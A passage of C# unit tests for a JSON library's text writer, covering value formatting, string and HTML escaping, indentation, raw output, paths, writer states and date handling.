jsonWriter.WriteStartArray(); jsonWriter.WriteValue((char?)null); jsonWriter.WriteValue((char?)'c'); jsonWriter.WriteValue((bool?)null); jsonWriter.WriteValue((bool?)true); jsonWriter.WriteValue((byte?)null); jsonWriter.WriteValue((byte?)1); jsonWriter.WriteValue((sbyte?)null); jsonWriter.WriteValue((sbyte?)1); jsonWriter.WriteValue((short?)null); jsonWriter.WriteValue((short?)1); jsonWriter.WriteValue((ushort?)null); jsonWriter.WriteValue((ushort?)1); jsonWriter.WriteValue((int?)null); jsonWriter.WriteValue((int?)1); jsonWriter.WriteValue((uint?)null); jsonWriter.WriteValue((uint?)1); jsonWriter.WriteValue((long?)null); jsonWriter.WriteValue((long?)1); jsonWriter.WriteValue((ulong?)null); jsonWriter.WriteValue((ulong?)1); jsonWriter.WriteValue((double?)null); jsonWriter.WriteValue((double?)1.1); jsonWriter.WriteValue((float?)null); jsonWriter.WriteValue((float?)1.1); jsonWriter.WriteValue((decimal?)null); jsonWriter.WriteValue((decimal?)1.1m); jsonWriter.WriteValue((DateTime?)null); jsonWriter.WriteValue((DateTime?)new DateTime(DateTimeUtils.InitialJavaScriptDateTicks, DateTimeKind.Utc)); #if !NET20 jsonWriter.WriteValue((DateTimeOffset?)null); jsonWriter.WriteValue((DateTimeOffset?)new DateTimeOffset(DateTimeUtils.InitialJavaScriptDateTicks, TimeSpan.Zero)); #endif jsonWriter.WriteEndArray(); } string json = sw.ToString(); string expected; #if !NET20 expected = @"[null,""c"",null,true,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1.1,null,1.1,null,1.1,null,""1970-01-01T00:00:00Z"",null,""1970-01-01T00:00:00+00:00""]"; #else expected = @"[null,""c"",null,true,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1.1,null,1.1,null,1.1,null,""1970-01-01T00:00:00Z""]"; #endif Assert.AreEqual(expected, json); } [Test] public void WriteValueObjectWithNullable() { StringWriter sw = new StringWriter(); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { char? value = 'c'; jsonWriter.WriteStartArray(); jsonWriter.WriteValue((object)value); jsonWriter.WriteEndArray(); } string json = sw.ToString(); string expected = @"[""c""]"; Assert.AreEqual(expected, json); } [Test] public void WriteValueObjectWithUnsupportedValue() { ExceptionAssert.Throws<JsonWriterException>(() => { StringWriter sw = new StringWriter(); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteStartArray(); jsonWriter.WriteValue(new Version(1, 1, 1, 1)); jsonWriter.WriteEndArray(); } }, @"Unsupported type: System.Version. Use the JsonSerializer class to get the object's JSON representation. Path ''."); } [Test] public void StringEscaping() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteStartArray(); jsonWriter.WriteValue(@"""These pretzels are making me thirsty!"""); jsonWriter.WriteValue("Jeff's house was burninated."); jsonWriter.WriteValue("1. You don't talk about fight club.\r\n2. You don't talk about fight club."); jsonWriter.WriteValue("35% of\t statistics\n are made\r up."); jsonWriter.WriteEndArray(); } string expected = @"[""\""These pretzels are making me thirsty!\"""",""Jeff's house was burninated."",""1. You don't talk about fight club.\r\n2. You don't talk about fight club."",""35% of\t statistics\n are made\r up.""]"; string result = sb.ToString(); Assert.AreEqual(expected, result); } [Test] public void WriteEnd() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("CPU"); jsonWriter.WriteValue("Intel"); jsonWriter.WritePropertyName("PSU"); jsonWriter.WriteValue("500W"); jsonWriter.WritePropertyName("Drives"); jsonWriter.WriteStartArray(); jsonWriter.WriteValue("DVD read/writer"); jsonWriter.WriteComment("(broken)"); jsonWriter.WriteValue("500 gigabyte hard drive"); jsonWriter.WriteValue("200 gigabype hard drive"); jsonWriter.WriteEndObject(); Assert.AreEqual(WriteState.Start, jsonWriter.WriteState); } string expected = @"{ ""CPU"": ""Intel"", ""PSU"": ""500W"", ""Drives"": [ ""DVD read/writer"" /*(broken)*/, ""500 gigabyte hard drive"", ""200 gigabype hard drive"" ] }"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void CloseWithRemainingContent() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("CPU"); jsonWriter.WriteValue("Intel"); jsonWriter.WritePropertyName("PSU"); jsonWriter.WriteValue("500W"); jsonWriter.WritePropertyName("Drives"); jsonWriter.WriteStartArray(); jsonWriter.WriteValue("DVD read/writer"); jsonWriter.WriteComment("(broken)"); jsonWriter.WriteValue("500 gigabyte hard drive"); jsonWriter.WriteValue("200 gigabype hard drive"); jsonWriter.Close(); } string expected = @"{ ""CPU"": ""Intel"", ""PSU"": ""500W"", ""Drives"": [ ""DVD read/writer"" /*(broken)*/, ""500 gigabyte hard drive"", ""200 gigabype hard drive"" ] }"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void Indenting() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("CPU"); jsonWriter.WriteValue("Intel"); jsonWriter.WritePropertyName("PSU"); jsonWriter.WriteValue("500W"); jsonWriter.WritePropertyName("Drives"); jsonWriter.WriteStartArray(); jsonWriter.WriteValue("DVD read/writer"); jsonWriter.WriteComment("(broken)"); jsonWriter.WriteValue("500 gigabyte hard drive"); jsonWriter.WriteValue("200 gigabype hard drive"); jsonWriter.WriteEnd(); jsonWriter.WriteEndObject(); Assert.AreEqual(WriteState.Start, jsonWriter.WriteState); } // { // "CPU": "Intel", // "PSU": "500W", // "Drives": [ // "DVD read/writer" // /*(broken)*/, // "500 gigabyte hard drive", // "200 gigabype hard drive" // ] // } string expected = @"{ ""CPU"": ""Intel"", ""PSU"": ""500W"", ""Drives"": [ ""DVD read/writer"" /*(broken)*/, ""500 gigabyte hard drive"", ""200 gigabype hard drive"" ] }"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void State() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { Assert.AreEqual(WriteState.Start, jsonWriter.WriteState); jsonWriter.WriteStartObject(); Assert.AreEqual(WriteState.Object, jsonWriter.WriteState); Assert.AreEqual("", jsonWriter.Path); jsonWriter.WritePropertyName("CPU"); Assert.AreEqual(WriteState.Property, jsonWriter.WriteState); Assert.AreEqual("CPU", jsonWriter.Path); jsonWriter.WriteValue("Intel"); Assert.AreEqual(WriteState.Object, jsonWriter.WriteState); Assert.AreEqual("CPU", jsonWriter.Path); jsonWriter.WritePropertyName("Drives"); Assert.AreEqual(WriteState.Property, jsonWriter.WriteState); Assert.AreEqual("Drives", jsonWriter.Path); jsonWriter.WriteStartArray(); Assert.AreEqual(WriteState.Array, jsonWriter.WriteState); jsonWriter.WriteValue("DVD read/writer"); Assert.AreEqual(WriteState.Array, jsonWriter.WriteState); Assert.AreEqual("Drives[0]", jsonWriter.Path); jsonWriter.WriteEnd(); Assert.AreEqual(WriteState.Object, jsonWriter.WriteState); Assert.AreEqual("Drives", jsonWriter.Path); jsonWriter.WriteEndObject(); Assert.AreEqual(WriteState.Start, jsonWriter.WriteState); Assert.AreEqual("", jsonWriter.Path); } } [Test] public void FloatingPointNonFiniteNumbers_Symbol() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.Symbol; jsonWriter.WriteStartArray(); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteValue(double.PositiveInfinity); jsonWriter.WriteValue(double.NegativeInfinity); jsonWriter.WriteValue(float.NaN); jsonWriter.WriteValue(float.PositiveInfinity); jsonWriter.WriteValue(float.NegativeInfinity); jsonWriter.WriteEndArray(); jsonWriter.Flush(); } string expected = @"[ NaN, Infinity, -Infinity, NaN, Infinity, -Infinity ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void FloatingPointNonFiniteNumbers_Zero() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.DefaultValue; jsonWriter.WriteStartArray(); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteValue(double.PositiveInfinity); jsonWriter.WriteValue(double.NegativeInfinity); jsonWriter.WriteValue(float.NaN); jsonWriter.WriteValue(float.PositiveInfinity); jsonWriter.WriteValue(float.NegativeInfinity); jsonWriter.WriteValue((double?)double.NaN); jsonWriter.WriteValue((double?)double.PositiveInfinity); jsonWriter.WriteValue((double?)double.NegativeInfinity); jsonWriter.WriteValue((float?)float.NaN); jsonWriter.WriteValue((float?)float.PositiveInfinity); jsonWriter.WriteValue((float?)float.NegativeInfinity); jsonWriter.WriteEndArray(); jsonWriter.Flush(); } string expected = @"[ 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, null, null, null, null, null, null ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void FloatingPointNonFiniteNumbers_String() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.String; jsonWriter.WriteStartArray(); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteValue(double.PositiveInfinity); jsonWriter.WriteValue(double.NegativeInfinity); jsonWriter.WriteValue(float.NaN); jsonWriter.WriteValue(float.PositiveInfinity); jsonWriter.WriteValue(float.NegativeInfinity); jsonWriter.WriteEndArray(); jsonWriter.Flush(); } string expected = @"[ ""NaN"", ""Infinity"", ""-Infinity"", ""NaN"", ""Infinity"", ""-Infinity"" ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void FloatingPointNonFiniteNumbers_QuoteChar() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.String; jsonWriter.QuoteChar = '\''; jsonWriter.WriteStartArray(); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteValue(double.PositiveInfinity); jsonWriter.WriteValue(double.NegativeInfinity); jsonWriter.WriteValue(float.NaN); jsonWriter.WriteValue(float.PositiveInfinity); jsonWriter.WriteValue(float.NegativeInfinity); jsonWriter.WriteEndArray(); jsonWriter.Flush(); } string expected = @"[ 'NaN', 'Infinity', '-Infinity', 'NaN', 'Infinity', '-Infinity' ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void WriteRawInStart() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.Symbol; jsonWriter.WriteRaw("[1,2,3,4,5]"); jsonWriter.WriteWhitespace(" "); jsonWriter.WriteStartArray(); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteEndArray(); } string expected = @"[1,2,3,4,5] [ NaN ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void WriteRawInArray() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.Symbol; jsonWriter.WriteStartArray(); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteRaw(",[1,2,3,4,5]"); jsonWriter.WriteRaw(",[1,2,3,4,5]"); jsonWriter.WriteValue(float.NaN); jsonWriter.WriteEndArray(); } string expected = @"[ NaN,[1,2,3,4,5],[1,2,3,4,5], NaN ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void WriteRawInObject() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.WriteStartObject(); jsonWriter.WriteRaw(@"""PropertyName"":[1,2,3,4,5]"); jsonWriter.WriteEnd(); } string expected = @"{""PropertyName"":[1,2,3,4,5]}"; string result = sb.ToString(); Assert.AreEqual(expected, result); } [Test] public void WriteToken() { JsonTextReader reader = new JsonTextReader(new StringReader("[1,2,3,4,5]")); reader.Read(); reader.Read(); StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw); writer.WriteToken(reader); Assert.AreEqual("1", sw.ToString()); } [Test] public void WriteRawValue() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { int i = 0; string rawJson = "[1,2]"; jsonWriter.WriteStartObject(); while (i < 3) { jsonWriter.WritePropertyName("d" + i); jsonWriter.WriteRawValue(rawJson); i++; } jsonWriter.WriteEndObject(); } Assert.AreEqual(@"{""d0"":[1,2],""d1"":[1,2],""d2"":[1,2]}", sb.ToString()); } [Test] public void WriteObjectNestedInConstructor() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("con"); jsonWriter.WriteStartConstructor("Ext.data.JsonStore"); jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("aa"); jsonWriter.WriteValue("aa"); jsonWriter.WriteEndObject(); jsonWriter.WriteEndConstructor(); jsonWriter.WriteEndObject(); } Assert.AreEqual(@"{""con"":new Ext.data.JsonStore({""aa"":""aa""})}", sb.ToString()); } [Test] public void WriteFloatingPointNumber() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.FloatFormatHandling = FloatFormatHandling.Symbol; jsonWriter.WriteStartArray(); jsonWriter.WriteValue(0.0); jsonWriter.WriteValue(0f); jsonWriter.WriteValue(0.1); jsonWriter.WriteValue(1.0); jsonWriter.WriteValue(1.000001); jsonWriter.WriteValue(0.000001); jsonWriter.WriteValue(double.Epsilon); jsonWriter.WriteValue(double.PositiveInfinity); jsonWriter.WriteValue(double.NegativeInfinity); jsonWriter.WriteValue(double.NaN); jsonWriter.WriteValue(double.MaxValue); jsonWriter.WriteValue(double.MinValue); jsonWriter.WriteValue(float.PositiveInfinity); jsonWriter.WriteValue(float.NegativeInfinity); jsonWriter.WriteValue(float.NaN); jsonWriter.WriteEndArray(); } Assert.AreEqual(@"[0.0,0.0,0.1,1.0,1.000001,1E-06,4.94065645841247E-324,Infinity,-Infinity,NaN,1.7976931348623157E+308,-1.7976931348623157E+308,Infinity,-Infinity,NaN]", sb.ToString()); } [Test] public void WriteIntegerNumber() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw) { Formatting = Formatting.Indented }) { jsonWriter.WriteStartArray(); jsonWriter.WriteValue(int.MaxValue); jsonWriter.WriteValue(int.MinValue); jsonWriter.WriteValue(0); jsonWriter.WriteValue(-0); jsonWriter.WriteValue(9L); jsonWriter.WriteValue(9UL); jsonWriter.WriteValue(long.MaxValue); jsonWriter.WriteValue(long.MinValue); jsonWriter.WriteValue(ulong.MaxValue); jsonWriter.WriteValue(ulong.MinValue); jsonWriter.WriteEndArray(); } Console.WriteLine(sb.ToString()); StringAssert.AreEqual(@"[ 2147483647, -2147483648, 0, 0, 9, 9, 9223372036854775807, -9223372036854775808, 18446744073709551615, 0 ]", sb.ToString()); } [Test] public void WriteTokenDirect() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteToken(JsonToken.StartArray); jsonWriter.WriteToken(JsonToken.Integer, 1); jsonWriter.WriteToken(JsonToken.StartObject); jsonWriter.WriteToken(JsonToken.PropertyName, "string"); jsonWriter.WriteToken(JsonToken.Integer, int.MaxValue); jsonWriter.WriteToken(JsonToken.EndObject); jsonWriter.WriteToken(JsonToken.EndArray); } Assert.AreEqual(@"[1,{""string"":2147483647}]", sb.ToString()); } [Test] public void WriteTokenDirect_BadValue() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteToken(JsonToken.StartArray); ExceptionAssert.Throws<FormatException>(() => { jsonWriter.WriteToken(JsonToken.Integer, "three"); }, "Input string was not in a correct format."); ExceptionAssert.Throws<ArgumentNullException>(() => { jsonWriter.WriteToken(JsonToken.Integer); }, @"Value cannot be null. Parameter name: value"); } } [Test] public void BadWriteEndArray() { ExceptionAssert.Throws<JsonWriterException>(() => { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.WriteStartArray(); jsonWriter.WriteValue(0.0); jsonWriter.WriteEndArray(); jsonWriter.WriteEndArray(); } }, "No token to close. Path ''."); } [Test] public void InvalidQuoteChar() { ExceptionAssert.Throws<ArgumentException>(() => { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.QuoteChar = '*'; } }, @"Invalid JavaScript string quote character. Valid quote characters are ' and ""."); } [Test] public void Indentation() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; jsonWriter.FloatFormatHandling = FloatFormatHandling.Symbol; Assert.AreEqual(Formatting.Indented, jsonWriter.Formatting); jsonWriter.Indentation = 5; Assert.AreEqual(5, jsonWriter.Indentation); jsonWriter.IndentChar = '_'; Assert.AreEqual('_', jsonWriter.IndentChar); jsonWriter.QuoteName = true; Assert.AreEqual(true, jsonWriter.QuoteName); jsonWriter.QuoteChar = '\''; Assert.AreEqual('\'', jsonWriter.QuoteChar); jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("propertyName"); jsonWriter.WriteValue(double.NaN); jsonWriter.IndentChar = '?'; Assert.AreEqual('?', jsonWriter.IndentChar); jsonWriter.Indentation = 6; Assert.AreEqual(6, jsonWriter.Indentation); jsonWriter.WritePropertyName("prop2"); jsonWriter.WriteValue(123); jsonWriter.WriteEndObject(); } string expected = @"{ _____'propertyName': NaN, ??????'prop2': 123 }"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void WriteSingleBytes() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); string text = "Hello world."; byte[] data = Encoding.UTF8.GetBytes(text); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; Assert.AreEqual(Formatting.Indented, jsonWriter.Formatting); jsonWriter.WriteValue(data); } string expected = @"""SGVsbG8gd29ybGQu"""; string result = sb.ToString(); Assert.AreEqual(expected, result); byte[] d2 = Convert.FromBase64String(result.Trim('"')); Assert.AreEqual(text, Encoding.UTF8.GetString(d2, 0, d2.Length)); } [Test] public void WriteBytesInArray() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); string text = "Hello world."; byte[] data = Encoding.UTF8.GetBytes(text); using (JsonTextWriter jsonWriter = new JsonTextWriter(sw)) { jsonWriter.Formatting = Formatting.Indented; Assert.AreEqual(Formatting.Indented, jsonWriter.Formatting); jsonWriter.WriteStartArray(); jsonWriter.WriteValue(data); jsonWriter.WriteValue(data); jsonWriter.WriteValue((object)data); jsonWriter.WriteValue((byte[])null); jsonWriter.WriteValue((Uri)null); jsonWriter.WriteEndArray(); } string expected = @"[ ""SGVsbG8gd29ybGQu"", ""SGVsbG8gd29ybGQu"", ""SGVsbG8gd29ybGQu"", null, null ]"; string result = sb.ToString(); StringAssert.AreEqual(expected, result); } [Test] public void Path() { StringBuilder sb = new StringBuilder(); StringWriter sw = new StringWriter(sb); string text = "Hello world."; byte[] data = Encoding.UTF8.GetBytes(text); using (JsonTextWriter writer = new JsonTextWriter(sw)) { writer.Formatting = Formatting.Indented; writer.WriteStartArray(); Assert.AreEqual("", writer.Path); writer.WriteStartObject(); Assert.AreEqual("[0]", writer.Path); writer.WritePropertyName("Property1"); Assert.AreEqual("[0].Property1", writer.Path); writer.WriteStartArray(); Assert.AreEqual("[0].Property1", writer.Path); writer.WriteValue(1); Assert.AreEqual("[0].Property1[0]", writer.Path); writer.WriteStartArray(); Assert.AreEqual("[0].Property1[1]", writer.Path); writer.WriteStartArray(); Assert.AreEqual("[0].Property1[1][0]", writer.Path); writer.WriteStartArray(); Assert.AreEqual("[0].Property1[1][0][0]", writer.Path); writer.WriteEndObject(); Assert.AreEqual("[0]", writer.Path); writer.WriteStartObject(); Assert.AreEqual("[1]", writer.Path); writer.WritePropertyName("Property2"); Assert.AreEqual("[1].Property2", writer.Path); writer.WriteStartConstructor("Constructor1"); Assert.AreEqual("[1].Property2", writer.Path); writer.WriteNull(); Assert.AreEqual("[1].Property2[0]", writer.Path); writer.WriteStartArray(); Assert.AreEqual("[1].Property2[1]", writer.Path); writer.WriteValue(1); Assert.AreEqual("[1].Property2[1][0]", writer.Path); writer.WriteEnd(); Assert.AreEqual("[1].Property2[1]", writer.Path); writer.WriteEndObject(); Assert.AreEqual("[1]", writer.Path); writer.WriteEndArray(); Assert.AreEqual("", writer.Path); } StringAssert.AreEqual(@"[ { ""Property1"": [ 1, [ [ [] ] ] ] }, { ""Property2"": new Constructor1( null, [ 1 ] ) } ]", sb.ToString()); } [Test] public void BuildStateArray() { JsonWriter.State[][] stateArray = JsonWriter.BuildStateArray(); var valueStates = JsonWriter.StateArrayTempate[7]; foreach (JsonToken valueToken in EnumUtils.GetValues(typeof(JsonToken))) { switch (valueToken) { case JsonToken.Integer: case JsonToken.Float: case JsonToken.String: case JsonToken.Boolean: case JsonToken.Null: case JsonToken.Undefined: case JsonToken.Date: case JsonToken.Bytes: Assert.AreEqual(valueStates, stateArray[(int)valueToken], "Error for " + valueToken + " states."); break; } } } [Test] public void DateTimeZoneHandling() { StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw) { DateTimeZoneHandling = Json.DateTimeZoneHandling.Utc }; writer.WriteValue(new DateTime(2000, 1, 1, 1, 1, 1, DateTimeKind.Unspecified)); Assert.AreEqual(@"""2000-01-01T01:01:01Z""", sw.ToString()); } [Test] public void HtmlStringEscapeHandling() { StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw) { StringEscapeHandling = StringEscapeHandling.EscapeHtml }; string script = @"<script type=""text/javascript"">alert('hi');</script>"; writer.WriteValue(script); string json = sw.ToString(); Assert.AreEqual(@"""\u003cscript type=\u0022text/javascript\u0022\u003ealert(\u0027hi\u0027);\u003c/script\u003e""", json); JsonTextReader reader = new JsonTextReader(new StringReader(json)); Assert.AreEqual(script, reader.ReadAsString()); } [Test] public void NonAsciiStringEscapeHandling() { StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw) { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii }; string unicode = "\u5f20"; writer.WriteValue(unicode); string json = sw.ToString(); Assert.AreEqual(8, json.Length); Assert.AreEqual(@"""\u5f20""", json); JsonTextReader reader = new JsonTextReader(new StringReader(json)); Assert.AreEqual(unicode, reader.ReadAsString()); sw = new StringWriter(); writer = new JsonTextWriter(sw) { StringEscapeHandling = StringEscapeHandling.Default }; writer.WriteValue(unicode); json = sw.ToString(); Assert.AreEqual(3, json.Length); Assert.AreEqual("\"\u5f20\"", json); } [Test] public void WriteEndOnProperty() { StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw); writer.QuoteChar = '\''; writer.WriteStartObject(); writer.WritePropertyName("Blah"); writer.WriteEnd(); Assert.AreEqual("{'Blah':null}", sw.ToString()); } #if !NET20 [Test] public void QuoteChar() { StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw); writer.Formatting = Formatting.Indented; writer.QuoteChar = '\''; writer.WriteStartArray(); writer.WriteValue(new DateTime(2000, 1, 1, 1, 1, 1, DateTimeKind.Utc)); writer.WriteValue(new DateTimeOffset(2000, 1, 1, 1, 1, 1, TimeSpan.Zero)); writer.DateFormatHandling = DateFormatHandling.MicrosoftDateFormat; writer.WriteValue(new DateTime(2000, 1, 1, 1, 1, 1, DateTimeKind.Utc)); writer.WriteValue(new DateTimeOffset(2000, 1, 1, 1, 1, 1, TimeSpan.Zero)); writer.DateFormatString = "yyyy gg"; writer.WriteValue(new DateTime(2000, 1, 1, 1, 1, 1, DateTimeKind.Utc)); writer.WriteValue(new DateTimeOffset(2000, 1, 1, 1, 1, 1, TimeSpan.Zero)); writer.WriteValue(new byte[] { 1, 2, 3 }); writer.WriteValue(TimeSpan.Zero); writer.WriteValue(new Uri("http://www.google.com/")); writer.WriteValue(Guid.Empty); writer.WriteEnd(); StringAssert.AreEqual(@"[ '2000-01-01T01:01:01Z', '2000-01-01T01:01:01+00:00', '\/Date(946688461000)\/', '\/Date(946688461000+0000)\/', '2000 A.D.', '2000 A.D.', 'AQID', '00:00:00', 'http://www.google.com/', '00000000-0000-0000-0000-000000000000' ]", sw.ToString()); } [Test] public void Culture() { CultureInfo culture = new CultureInfo("en-NZ"); culture.DateTimeFormat.AMDesignator = "a.m."; culture.DateTimeFormat.PMDesignator = "p.m."; StringWriter sw = new StringWriter(); JsonTextWriter writer = new JsonTextWriter(sw); writer.Formatting = Formatting.Indented; writer.DateFormatString = "yyyy tt"; writer.Culture = culture; writer.QuoteChar = '\''; writer.WriteStartArray(); writer.WriteValue(new DateTime(2000, 1, 1, 1, 1, 1, DateTimeKind.Utc)); writer.WriteValue(new DateTimeOffset(2000, 1, 1, 1, 1, 1, TimeSpan.Zero)); writer.WriteEnd(); StringAssert.AreEqual(@"[ '2000 a.m.', '2000 a.m.' ]", sw.ToString()); } #endif [Test] public void CompareNewStringEscapingWithOld() { char c = (char)0; do { StringWriter swNew = new StringWriter(); char[] buffer = null; JavaScriptUtils.WriteEscapedJavaScriptString(swNew, c.ToString(), '"', true, JavaScriptUtils.DoubleQuoteCharEscapeFlags, StringEscapeHandling.Default, null, ref buffer); StringWriter swOld = new StringWriter(); WriteEscapedJavaScriptStringOld(swOld, c.ToString(), '"', true); string newText = swNew.ToString(); string oldText = swOld.ToString(); if (newText != oldText) { throw new Exception("Difference for char '{0}' (value {1}). Old text: {2}, New text: {3}".FormatWith(CultureInfo.InvariantCulture, c, (int)c, oldText, newText)); } c++; } while (c != char.MaxValue); } private const string EscapedUnicodeText = "!"; private static void WriteEscapedJavaScriptStringOld(TextWriter writer, string s, char delimiter, bool appendDelimiters) { // leading delimiter if (appendDelimiters) { writer.Write(delimiter); } if (s != null) { char[] chars = null; char[] unicodeBuffer = null; int lastWritePosition = 0; for (int i = 0; i < s.Length; i++) { var c = s[i]; // don't escape standard text/numbers except '\' and the text delimiter if (c >= ' ' && c < 128 && c != '\\' && c != delimiter) { continue; } string escapedValue; switch (c) { case '\t': escapedValue = @"\t"; break; case '\n': escapedValue = @"\n"; break; case '\r': escapedValue = @"\r"; break; case '\f': escapedValue = @"\f"; break; case '\b': escapedValue = @"\b"; break; case '\\': escapedValue = @"\\"; break; case '\u0085': // Next Line escapedValue = @"\u0085"; break; case '\u2028': // Line Separator escapedValue = @"\u2028"; break; case '\u2029': // Paragraph Separator escapedValue = @"\u2029"; break; case '\'': // this charater is being used as the delimiter escapedValue = @"\'"; break; case '"': // this charater is being used as the delimiter escapedValue = "\\\""; break; default: if (c <= '\u001f') { if (unicodeBuffer == null) { unicodeBuffer = new char[6]; } StringUtils.ToCharAsUnicode(c, unicodeBuffer); // slightly hacky but it saves multiple conditions in if test escapedValue = EscapedUnicodeText; } else { escapedValue = null; } break; } if (escapedValue == null) { continue; } if (i > lastWritePosition) { if (chars == null) { chars = s.ToCharArray(); } // write unchanged chars before writing escaped text writer.Write(chars, lastWritePosition, i - lastWritePosition); } lastWritePosition = i + 1; if (!string.Equals(escapedValue, EscapedUnicodeText)) { writer.Write(escapedValue); } else { writer.Write(unicodeBuffer); } } if (lastWritePosition == 0) { // no escaped text, write entire string writer.Write(s); } else { if (chars == null) { chars = s.ToCharArray(); } // write remaining text writer.Write(chars, lastWritePosition, s.Length - lastWritePosition); } } // trailing delimiter if (appendDelimiters) { writer.Write(delimiter); } } [Test] public void CustomJsonTextWriterTests() { StringWriter sw = new StringWriter(); CustomJsonTextWriter writer = new CustomJsonTextWriter(sw) { Formatting = Formatting.Indented }; writer.WriteStartObject(); Assert.AreEqual(WriteState.Object, writer.WriteState); writer.WritePropertyName("Property1"); Assert.AreEqual(WriteState.Property, writer.WriteState); Assert.AreEqual("Property1", writer.Path); writer.WriteNull(); Assert.AreEqual(WriteState.Object, writer.WriteState); writer.WriteEndObject(); Assert.AreEqual(WriteState.Start, writer.WriteState); 